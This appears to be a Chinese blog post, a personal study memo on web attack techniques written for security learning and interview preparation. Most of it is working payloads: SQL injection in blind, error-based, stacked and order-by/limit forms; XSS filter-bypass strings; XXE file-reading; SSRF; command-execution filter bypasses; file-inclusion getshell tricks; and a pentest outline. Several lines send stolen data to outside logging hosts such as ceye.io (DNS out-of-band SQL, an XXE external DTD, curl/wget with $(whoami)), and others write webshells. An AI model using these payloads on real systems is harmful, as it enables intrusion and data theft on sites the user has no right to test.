Web安全基础
前言
本文主要是作备忘录用,需要详细地学习可直接看参考链接,都是笔者筛选过质量较高的文章。
SQLI
基础知识
系统函数
@@datadir() //数据库路径 @@version_compile_os() //操作系统版本
字符串拼接
concat(str1,str2) //没有分隔符地连接字符串 group_concat() //以逗号为分隔符连接一个组的字符串 concat_ws(',',str1,str2) //有分隔符连接字符串,第一个参数是分隔符
union
把两个搜索出来的表格上下拼接到一起,要注意列数、同一列的类型要相同。
order by
order by x //对结果集按照第x列进行排序 order by 1,2,3,4 //对结果集按照1,2,3,4列进行排序
limit
select * from users limit m,n; //从第m行开始,返回n条数据
information_schema
一个数据库,里面存储其他数据库名、表名、字段名,mysql5.0以上才有。
文件操作
load_file(file_name) //导出文件,用于读文件,以及DNS外带,有权限要求 load data infile; //将文件导入到数据库中, select ... into outfile 'file_name'; //写文件,可以用来写shell
判断数据库类型
1、特定函数判断:mysql、mssql用len(),oracle用length() 2、注释符判断:"/*"是mysql的注释符,"--"是oracle和mssql的注释符,另外oracle不支持用";"做多行查询 3、错误信息判断:触发sql语法错误,根据报错信息判断数据库类型
盲注
布尔盲注
本质就是,通过判断回显来爆数据,下面记录一些会用到的函数,脚本在pycharm上。
字符串截断
left(select(database()),1) //从左开始截取1个字符 substr(select(database()),1,1) //从第1个字符开始,截取1个字符 mid(a,b,c) //同substr
条件判断
# 逻辑分支 1=(if((user() regexp '^root'),1,0)); //如果表达式1正确,返回表达式2,否则返回表达式3 case when xxx then xxx //呃呃,同上 # 使用正则 select user() regexp '^ro'; //正确返回1,错误返回0 select user() like 'ro%'; //正确返回1,错误返回0
字符转ascii码
ascii() //将字符串第一个字符转成ascii码 ord() //将字符转ascii码
时间盲注
通过延时函数的延时来判断逻辑为真还是为假,那关键还是怎么构造延时,有下面5种方法:
sleep
# 直接延时5s select sleep(5); # payload:如果数据库第一个字符ascii大于115就延时,否则什么都不做 If(ascii(substr(database(),1,1))>115,sleep(5),1)%23
benchmark
第一个参数是执行函数的次数,第二个参数是要执行的函数
# 执行sha(1)函数10000000次,以此延时,大概4.多秒 select benchmark(10000000,sha(1)); # payload实例 UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;
笛卡尔积
我的理解笛卡尔积就是让两个表排列组合(表A有3行,表B有4行,那笛卡尔积拼出来的表就3x4行),通过指数级增加的排列组合达到延时目的
# 下例计算information_schema.columns这个表平方以后的行数(再有个C的话就是三次方) SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
注意:这个方法对表的行数有要求,有时候要么延时过短、要么过长,不好操控。
GET_LOCK
首先搞清楚这个函数干什么的,GET_LOCK用来给表加锁,防止多个线程同时操作一个表,有临界资源内味;
它的第一个参数指定要加锁的表,第二个参数设置当加锁失败时,停止等待的时间;要解锁的话用release_lock('key')
下面是测试,首先给users表加锁:
然后再开个terminal,尝试再加锁,结果失败并等待5s:
关于解锁
payload:
# 1、先给表加锁 select * from ctf where flag = 1 and get_lock('username',1); # 2、再加锁失败,形成延时 select * from ctf where flag = 1 and 1 and get_lock('username',5)
注意:这个利用方式延时依赖于前一条语句执行,mysql
中要求站点是使用mysql_pconnect
创造的持久链接
正则
使用长字符串+计算量大的正则来拖慢系统达到延时目的:
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
DNS外带
通俗来讲就是,盲注一个一个字符来爆在实际渗透过程中容易被ban,让服务器请求在线平台(URL中拼接要带的数据),再通过平台的日志来查看数据
在线接数据网站:
- ceye.io
- DNSlog
不同数据库如何让服务器访问:
# Microsoft SQL Server master…xp_dirtree (用于获取所有文件夹的列表和给定文件夹内部的子文件夹) master…xp_fileexist (用于确定一个特定的文件是否存在于硬盘) master…xp_subdirs (用于得到给定的文件夹内的文件夹列表) # Oracle GET_HOST_ADDRES (用于检索特定主机的IP) UTL_HTTP.REQUEST (从给定的地址检索到的第1-2000字节的数据) # Mysql load_file (读取文件内容并将其作为字符串返回) # PostgreSQL COPY (用于在文件系统的文件和表之间拷贝数据)
这里用Mysql
的load_file()
来测试,在线平台用的ceye,在terminal打开mysql,输入语句:
# 测试能否成功访问 select load_file("\\\\sketch_pl4nee.88o74j.ceye.io\\robots.txt"); # 测试外带数据 select load_file(concat("\\\\",hex(version()),".88o74j.ceye.io\\robots.txt"));
一般执行时间很长就是成功了,访问网站需要时间:
ceye上查看带出来的数据,这里因为UNC格式不能有特殊字符,用hex编码防出错:
注意:
- UNC不能包含特殊字符,可以用
hex()
编码,但是UNC长度不能超过120,注意别太长 load_file()
需要数据库用户有读权限,并且要在my.ini中设置secure_file_priv=""
(默认没有这个配置)- 实际使用的时候,如果执行
payload
后一直在转圈,说明成了,一下刷出来说明寄了
报错注入
floor
select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
- concat(),拼接字符串
- floor(),向下取整
- rand(0),有规律的0~1随机数
- group_by xxx,按xxx分组,会建立一个临时虚拟表,然后把查询结果插入其中
users表如下
id | username |
---|---|
1 | a_010 |
2 | mocker |
3 | a_010 |
4 | sketch_pl4ne |
5 | mocker |
6 | ybb |
以select username,count(*) from users group by username;
为例,分析group_by xxx的插入过程:
第一次
username | count(*) |
---|---|
a_010 | 1 |
第二次:
username | count(*) |
---|---|
a_010 | 1 |
mocker | 1 |
第三次:
username | count(*) |
---|---|
a_010 | 1+1 |
mocker | 1 |
最后:
username | count(*) |
---|---|
a_010 | 2 |
mocker | 2 |
sketch_pl4ne | 1 |
ybb | 1 |
关键点:
floor(rand(0)*2)
产生的01序列是有规律的,011011- 把
username
换成floor(rand(0)*2)
,每次查询会计算一次floor(rand(0)*2)
,插入的时候又会计算一次floor(rand(0)*2)
- 搞来搞去,把主键搞重复惹捏
第一次,查询一次得0,发现临时表中没有这个键,要插入,于是再计算一次得1,插入表中:
floor(rand(0)*2) | count(*) |
---|---|
1 | 1 |
第二次,再查询一次得1,表里有这个键,count+1:
floor(rand(0)*2) | count(*) |
---|---|
1 | 1+1 |
第三次,再查询一次得0,表里没有这个键,要插入,于是计算一次得1,插入表中,但是表中已经有键为1了捏,于是主键重复了捏。
extractvalue
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
首先搞清楚这个函数是干什么的,这是一个查询指定xml文件内容的函数,很像html的从一层层的标签找内容:
EXTRACTVALUE (XML_document, XPath_string);
XML_document
是xml文档对象的名称,XPath_string
是Xpath格式的字符串,报错原因是第二个参数,它必须是Xpath格式(/xxx/xx/x),不对就会报错,并且把查询的内容显示在报错信息里:
再回头看payload就很清楚了,0x7e是'~'的ascii码,专门用来触发Xpath语法错误的,然后用concat
拼接一手即可。
updatexml
select * from user where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
和extractvalue()
一回事,这里简单解释下这个函数:
UPDATEXML (XML_document, XPath_string, new_value);
用来将XML_document
指定的xml文件中,XPath_string
指定的内容,替换成new_value
。
利用点是还是第二个参数。
注意:
- mysql5.1.5开始使用这两个函数,在这之前的版本没法这样报错
extractvalue
和updatexml
最多显示32个字符,超过的需要使用substr()
来截断
exp
整数溢出导致的报错,exp是以e为底的指数函数,这个函数会在参数大于709时产生溢出:
select exp(~(select * from (select user())x));
首先得知道,语句执行成功会返回0,用~
取反之后变成一个很大的数,结合上面说的,就能造成整数溢出。
注意:
- 版本限制比较严格,
mysql
版本需要大于5.5但是小于5.5.53 - 报错长度限制在
mysql/my_error.c
中可以看到是512个字符
二次注入
利用已经存储进数据库的数据,被读取出来的时候拼接到sql语句中导致的注入。
例子:
# 更新密码 UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass';
注册用户名为admin'#
的账户,拼接以后变成下面这样,可以任意修改admin用户密码。
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass';
宽字节注入
我们在过滤引号的时候,通常是在它前面加反斜杠来转义,有以下三种方式:
- preg_replace
- addslashes
- mysql_real_escape_string
GBK双字节绕过
mysql在使用GBK编码的时候,两个字符变成一个汉字,那么就可以构造特殊字符%df
,吃掉用来转义的反斜杠。
addslashes(%27) -> %5c%27 -> \' addslashes(%df%27) -> %df%5c%27 -> 運'
堆叠注入
多条sql语句同时执行,要求使用mysqli_multi_query()
函数来允许多条语句执行;局限性较高,不过可行的话危害性也很大。
支持多语句的话,有以下两种方式注入:
直接拼接
1';show tables from security;select 1,2,3;
预编译
# 定义预编译语句 PREPARE stmt_name FROM preparable_stmt; # 执行预编译语句 EXECUTE stmt_name [USING @var_name [, @var_name] ...]; //例子 PREPARE test FROM 'select (?+?)'; //这里的select可以用concat()、char()来绕过过滤 SET @a = 1;SET @b = 2; EXECUTE test USING @a,@b;
order by 注入
order by不同于where后的注入点,不能使用union等进行注入,注入点在order by后面的参数id
,示例代码:
select * from users order by $id;
有三种拼接方法:
- id = (sql语句)
- id = rand(sql语句)
- id = 1 and (sql语句)
测试方法
order by 1 desc;
和order by 1 asc;
排序不同order by rand(true)/rand(false);
排序不同order by (sleep(1));
有延时,时间=1x结果集行数
报错注入
id=(报错语句)直接报错
?sort=(select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
id=1 and (报错语句)拼接报错
?sort=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
布尔盲注
利用rand(true)/rand(false)
返回结果不同:
?sort=RAND(LEFT(database(),1)>'r') ?sort=RAND(LEFT(database(),1)>'s')
延时盲注
# rand + sleep 延时 ?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>114,1,sleep(1))) //rand(sql语句) # rand + benchmark 延时 ?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1) //(sql语句)
写文件
写webshell,lines terminated by
可以指定文件每一行之间的分隔符:
?sort=1 INTO OUTFILE "D:/others/phpstudy_pro/WWW/less50.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e //<?php phpinfo();?>的16进制编码
limit 注入
分两种情况,前面没有order by
/ 前面有order by
。
没order by
,直接用union
联合查询
select * from users limit injection_point; select * from users limit 0,1 union select username from users;
有order by
,用PROCEDURE
、analyse
,可以报错和延时注入,注入点为analyse(1,1)的第一个参数
注意:适用5.0.0< MySQL <5.6.6
select * from users order by id limit injection_point; # 报错 select * from users order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); # 延时 SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
XSS
我的理解:xss就是把js代码注入到页面,造成恶意的js代码执行。
分类
XSS大致可以分成三类,分别是:
-
反射型,用户提交js代码给服务器,服务器执行后返回给用户。
-
存储型,留言板,持久化
-
DOM型,与前两种的区别:不用将数据提交给服务器再返回,属于特殊的反射型xss
好处:可以绕过waf,躲避检测,比如下面
location.hash,获取url锚点后面的字符串(#xxxx),payload写在这后面,绕过waf检测 例子: localhost/index.html#javascript:alert(1)
前提:JS脚本可以访问浏览器的文本对象模型
Bypass
绕过弹窗关键字过滤
一般Waf都对alert()、prompt()、confirm()、eval()等函数有过滤,我们可以通过分割函数来绕过。
-
添加空白符:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
-
添加注释:alert/*abcd*/(/xss/)、alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
-
''代替():alert'xss'
-
括号分割:(alert)(/xss/)、((alert))(/xss/)
-
使用window和top:
<img src=x onerror="window['al'+'ert'](0)"></img> <img src=x onerror="window.alert(0)"></img> <img src=x onerror="top['al'+'ert'](0)"></img> <img src=x onerror="top.alert(0)"></img> -
利用动态拼接特性
<input/onfocus=_=alert,_(123)> <input/onfocus=_=alert,xx=1,_(123)> <input/onfocus=_=alert;_(123)> <input/onfocus=_=alert;xx=1;_(123)> <input/onfocus=_=window['alert'],_(123)> <input/onfocus=_=window.alert,_(123)> <input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`> -
异常处理
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> //这里括号用\x16进制ascii码转义了 -
eval(string) 拼接字符串
<svg/onload=eval('ale'+'rt(1)')> -
跳转中也可以使用字符串拼接
<svg/onload=location='javas'+'cript:ale'+'rt(1)'> <svg/onload=window.location='javas'+'cript:ale'+'rt(1)'> <svg/onload=location.href='javas'+'cript:ale'+'rt(1)'> <svg/onload=window.open('javas'+'cript:ale'+'rt(1)')> <svg/onload=location='javas'.concat('cript:ale','rt(1)')>
编码绕过
<iframe src=javascript:alert(1)>
-
HTML实体编码
//10进制 <iframe src=javascript:alert(1)> //16进制 <iframe src=javascript:alert(1)> //不带分号 <iframe src=javascript:alert(1)> //填充00 <iframe src=javascript:alert(1)> //绕过关键字 1.<iframe src=javas	cript:alert(1)></iframe> //编码Tab 2.<iframe src=javas
cript:alert(1)></iframe> //编码回车 3.<iframe src=javas
cript:alert(1)></iframe> //编码换行 4.<iframe src=javascript:alert(1)></iframe> //编码冒号 5.<iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
<a href="{here}">xx</a> <iframe src="{here}">
-
URL编码
在href和src后面,可以用JavaScript伪协议执行JS,而伪协议又是可以URL编码的,不过
javascript:
不能够编码,不然会失效。<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> //可以二次URL编码 <iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe> //HTML实体化编码javascript:,后面用URL编码 <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> -
Unicode编码
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus> <input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus> //8进制和16进制 1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')> 2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')> 3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')> 4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script> 5.<script>eval("\141\154\145\162\164\050\061\051")</script> 6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script> //结合绕过弹窗函数过滤,用window.eval(alert(xxx)) 1.<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script> 2.<script>window['eval']("\141\154\145\162\164\050\061\051")</script> 3.<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script> -
Base64编码
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> <iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe> //使用atob函数 1.<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a> 2.<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a> 3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
引入外部JS
通过在<script>
标签中引入其他字符绕过
<script/src='1.js'/~~234*234></script ~~234*234>
onfocus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);'
onfocus='a=document.createElement("sc"+"ript");a.src="http://x.x.x.x";body.appendChild(a);'
<link%20rel=import%20href="2.js">
同源策略
如果两个URL的协议、域名、端口都相同,就说这两个URL同源。
目的:
- 限制不同源JS脚本对当前DOM对象的读写
- 限制不同源站点读取当前站点cookie等信息
- 限制XMLHttpRequest等方式将站点的数据发送给不同源站点
防护措施
- 设置HttpOnly,cookie只能通过HTTP方式获取,JS无法获取cookie
- 配置CSP策略,可以通过HTTP头或者meta信息定义,可禁止加载其他域的文件、禁止内联脚本和未授权脚本执行
- 设置Waf过滤或者实体化编码关键字
CSRF
介绍
CSRF(Cross Site Requet Forgery),跨站请求伪造,在用户已经登录某网站的基础上,让用户访问特定页面达到攻击效果,以用户身份发起伪造的请求。
例如:用户已经登录某网站,通过钓鱼链接或者xss让他访问特定功能(比如修改自己密码),达到伪造用户访问某些功能的效果。
防护措施
-
CSRF Token,每一个页面对应一个token,请求页面时需要带上token验证,判断是否合法
-
refer、orign两个熟悉检测(但是不一定准)
-
重要的功能设置再次输入密码
XXE
基础知识
XML,可拓展标记语言,写法类似HTML,主要用于存储和传输数据,类似的还有json。
DTD,文档类型定义,可以理解成一个写XML标签时的规范,XML外部实体注入的实体就是这里面的外部实体。
实体,类似于变量,在DTD中定义,在XML或者DTD中引用,用ENTITY
定义。
漏洞利用
读文件
有回显
<!DOCTYPE root [ <!ELEMENT name ANY > <!ENTITY file SYSTEM "file:///d://1.txt" > ]> <root> <name>&file;</name> </root>
无回显
读取服务器文件后,通过加载外部恶意dtd文件,带着读取了文件内容的变量访问接收平台,实现信息外带。
payload端:
<?xml version="1.0"?> <!DOCTYPE convert [ <!ENTITY % remoteDtd SYSTEM "http://your.v.p.s/evil.dtd"> %remoteDtd;%define;%send; ]>
VPS端:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt"> <!ENTITY % define "<!ENTITY % send SYSTEM 'http://i42r2n.ceye.io/?p=%file;'>">
注意:%需要编码成%
。
命令执行
使用的是expect://
协议,需要PHP安装了expect拓展,实际上能RCE的很少。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <root> <name>&xxe;</name> </root>
SSRF
简介
SSRF(Server-side Request Forgery),服务端请求伪造,顾名思义,是攻击者构造恶意数据传到服务器端,服务器执行并发送请求的漏洞
一般存在于服务器获取其他服务器相关信息的功能,比如图片加载、通过URL地址分享、在线翻译等功能;
典型例子是GET参数url=某某地址
漏洞函数
file_get_contents(); //读取文件到字符串 fsockopen(); //使用socket套接字建立tcp连接,比较麻烦 curl_exec(); //功能强大,但是需要设置各种opt
利用方式
- http/https访问内网Web服务
- file协议读取本地文件
- dict协议扫描端口
- gopher协议攻击内网应用(没密码mysql3306、redis6479、struts2漏洞)
- 工具:gopherus
bypass
- ip进制转换
192.168.0.1.xip.io
解析到192.169.0.1
防护措施
- 过滤返回的信息,比如请求的是图片,验证返回的是否是图片
- 限制请求的端口
- 禁用不常用的协议,比如只允许http/https协议
命令执行
函数
exec(); # 无回显 system(); # 有回显 passthru(); # 类似system shell_exec(); # 默认无回显,可通过echo输出 反引号 # shell_exec的变体,被禁用也不可执行 popen(); # 返回一个文件指针,不回显但是命令已经执行 proc_open(); # 传参有变化,和popen同理 ob_start(); # 打开输出缓冲,激活之后脚本不会输出内容,而是会存在内部缓冲区里,要输出要用ob_end_flush() # ob_start($call_back_func)里的参数在执行ob_end_flush()的时候被调用,此时输入的内容都会被当作$call_back_func的参数 # <?php $cmd = 'system’; ob_start($cmd); echo "$_GET[a]"; ob_end_flush();?>
绕过
# 1.空格绕过 <、<>、${IFS}、$IFS$9、{cat,flag.php}、%09、%20 # 2.黑名单绕过 拼接: a=g;cat fla$a.php base64编码: echo "base64==" | base64 -d 通配符: /?in/?s => /bin/ls 反斜杠: cat 1.txt => ca\t 1.txt 内敛绕过:cat `ls`、cat $(ls), # 3.绕过disable_function ld_preload劫持系统函数,条件是没有禁用mail函数,可访问到的目录具有写权限 php_gc进程bypass,条件是php版本:7.0~7.3
无回显外带
- bash反弹shell
- DNS外带数据
- HTTP外带
curl http://xxx.ceye.io/$(whoami)
wget http://xxx.ceye.io/$(whoami)
代码执行
函数
eval(); # 注意eval不是函数,不能动态执行,它是一个语言构造器 assert(); # php7中它也不是函数了,不能动态执行 call_user_func($callback, [$parameter]); # 回调函数,第一个参数是函数名,第二个是参数 call_user_func_array($callback, $param_arr); # 同上,差别是参数用数组传递 preg_replace($pattern, $replacement, $subject); # 模式匹配的/e参数会把要替换的字符串当作php代码执行 mb_ereg_replace(, , ,$mode); # 同上,传参不同 preg_filter(); # 同preg_replace
绕过
- PHP动态特性拼接
- substr()、strtr()截取字符串变形
文件包含
函数
include(); # 报错但不影响后续执行 include_once(); require(); # 报错后直接退出 require_once();
利用方式
包含environ文件
/proc/self/environ 中会保存Web进程运行时的环境变量,我们可以在UA头部注入php代码,再包含这个文件来getshell
包含日志文件
我们可以通过构造存在恶意代码的访问,让代码保存在日志中,再包含对应日志文件来getshell,比如apache的访问日志access.log,我们先在请求的URL中插入一句话木马,访问后木马即会插入到access.log日志文件中,再包含即可getshell
/var/log/apache/access.log /var/log/apache/error.log /var/log/auth.log /var/log/vsftpd.log /var/log/sshd.log /var/log/mail
包含session文件
php session的文件命名一般是sess_[phpsessid]
,另外路径可以看phpinfo或者找默认路径:
/tmp /tmp/sessions /var/lib/php5 /var/lib/php7
这个利用需要Session里存在可控的变量供我们写入代码,然后包含对应路径即可
常用伪协议
- php://
- php://input,将payload放入$_POST中,结合包含漏洞实现任意命令执行
- php://filter,可以编码来读取不显示的文件:?file=php://filter/read=convert.base64.encode/resource=index.php
- data://,和input类似,结合包含漏洞可以把data://流当php文件执行:?file=data://text/plain,<?php phpinfo();
- zip://,可以访问压缩包内文件,结合包含漏洞可以把zip://当作php文件执行:zip://[压缩包绝对路径]#[压缩包内文件]
- phar://,与zip类似(phar可以使用相对路径):?file=phar://myzip.zip/phpinfo.txt
文件上传
uploads-labs的bypass问得挺少的,问到见招拆招就行,重点记下面的文件解析。
文件解析漏洞
- Apache
- 多文件后缀,1.php.jpg
- .htaccess,AddType application/x-httpd-php .jpg(上传1.jpg图片马)
- Nginx
- 空字节解析,主要是因为Nginx与FastCGI处理%00空字节的方法不一致,导致解析漏洞,xxx.jpg%00.php
- .php结尾解析,因为配置问题,以.php结尾的url都会交给php解析,不管文件存不存在,/1.jpg/.php,
- IIS
- 目录解析,服务器默认把.asp、.asa目录下的文件都解析成asp文件:/xx.asp/xx.jpg
- 分号截断,服务器默认不解析分号,因此可以在.asp文件后加
;.jpg
伪装jpg文件 - 默认文件类型,xx.asa、xx.cer、xx.cdx在IIS6.0也可以当作.asp解析
- .php结尾解析,因为配置问题,以.php结尾的url都会交给php解析,不管文件存不存在,/1.jpg/.php
- .usr.ini,适用于N/A/I,只要有fastcgi都可以,auto_prepend_file=1.jpg(本目录下php文件自动包含1.jpg)
- Windows命名规则,由于Win的文件名开头和结尾都不能是 空格和点 ,如果是的话会自动去除,也可以达到绕过过滤的目的
印象深刻的CTF题
无数字字母Webshell
<?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); }
顾名思义,eval中不允许传入数字和字母该怎么getshell,考察的是我们怎么利用PHP的特性来绕过这个限制,比较经典的三种方法是:
-
利用异或,两个字符串异或出我们需要数字或者字母,需要用脚本fuzz
-
利用汉字取反,一些汉字通过取反操作也能变成字母,也需要fuzz
-
利用自增/减符号,我们知道字符
"A"++="B"
,所以只要构造出字符A,通过自加键运算就可以绕过限制<?php $_=[].''; //得到"Array" $___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
五字符getshell
即允许用户执行命令,但是命令长度<=5要怎么getshell,这里用到比较多Linux的知识。
- 通过反斜杠可以实现命令换行
- 通过
>x
可以创建名为x的空文件 ls -t
可以让创建的文件按照时间排序
那我们的思路是:通过新建特殊文件名的文件,让文件名最后以反斜杠结尾,再利用ls -t
排序,最后用管道符输入进文件里,再用sh命令执行命令。
渗透测试思路
# 1.信息收集 a. fofa、shadon查询站点的相关信息(真实ip,系统类型,版本,开放端口,使用框架之类) b. whois查询姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等) c. 网站指纹识别(包括使用cms,web容器信息,使用组件信息),dns记录,服务器是否上云 d. robots.txt,dirsearch来收集敏感目录,文件信息 e. 企查查、天眼查全资子公司,SSL证书查询/爆破收集子域名,收集C段信息 # 2.漏洞挖掘 a. 对主站进行人工检测(burp+xray被动扫描),先挖一些xss、sql、越权漏洞、后台弱密码 b. 同时对收集到的属于目标资产的站点(包括子站,全资子公司),用工具批量扫漏洞(goby、awvs) c. 找一些经典的容易利用的资产,比如各种OA(致远、通达、泛微等)、shiro反序列化、struts2、weblogic这种打点,尝试getshell # 3.内网渗透 a. 横向、提权、代理、免杀,拿msf看看有没有ms17-010、0708这种经典漏洞这样 # 4.清除测试数据 | 输出报告 a. 日志、测试数据的清理 b. 总结,输出渗透测试报告,附修复建议 # 5.复测 a. 验证并发现是否有新漏洞,输出报告,归档
参考链接
MYSQL报错注入的一点总结 - 先知社区 (aliyun.com)
MYSQL注入天书之基础知识 - lcamry - 博客园 (cnblogs.com)
利用DNS实现SQL注入带外查询(OOB) - renblog - 博客园 (cnblogs.com)
DNSlog注入 - 卿先生 - 博客园 (cnblogs.com)
MySQL时间盲注五种延时方法 (PWNHUB 非预期解) - cdxy
MySQL的多表查询(笛卡尔积原理) - ζ 简单ヾ° - 博客园 (cnblogs.com)
一篇文章带你深入理解 SQL 盲注 | K0rz3n's Blog
利用预编译来SQL注入 · 白袍的小行星 (eviladan0s.github.io)
从sqli-labs Less - 50 全面分析order by后注入 - FreeBuf网络安全行业门户
Mysql 注入之 limit 注入 - 简书 (jianshu.com)
[转载]Mysql下Limit注入方法 | 离别歌 (leavesongs.com)
绕过XSS过滤姿势总结 - zha0gongz1 - 博客园 (cnblogs.com)
PHP下的RCE总结 - 安全客,安全资讯平台 (anquanke.com)
Web安全学习笔记 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)
文件包含漏洞 - zs0zrc (zszcr.github.io)
浅谈解析漏洞的利用与防范 - 安全客,安全资讯平台 (anquanke.com)
从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)
__EOF__

本文链接:https://www.cnblogs.com/jasper-sec/p/15863609.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· spring官宣接入deepseek,真的太香了~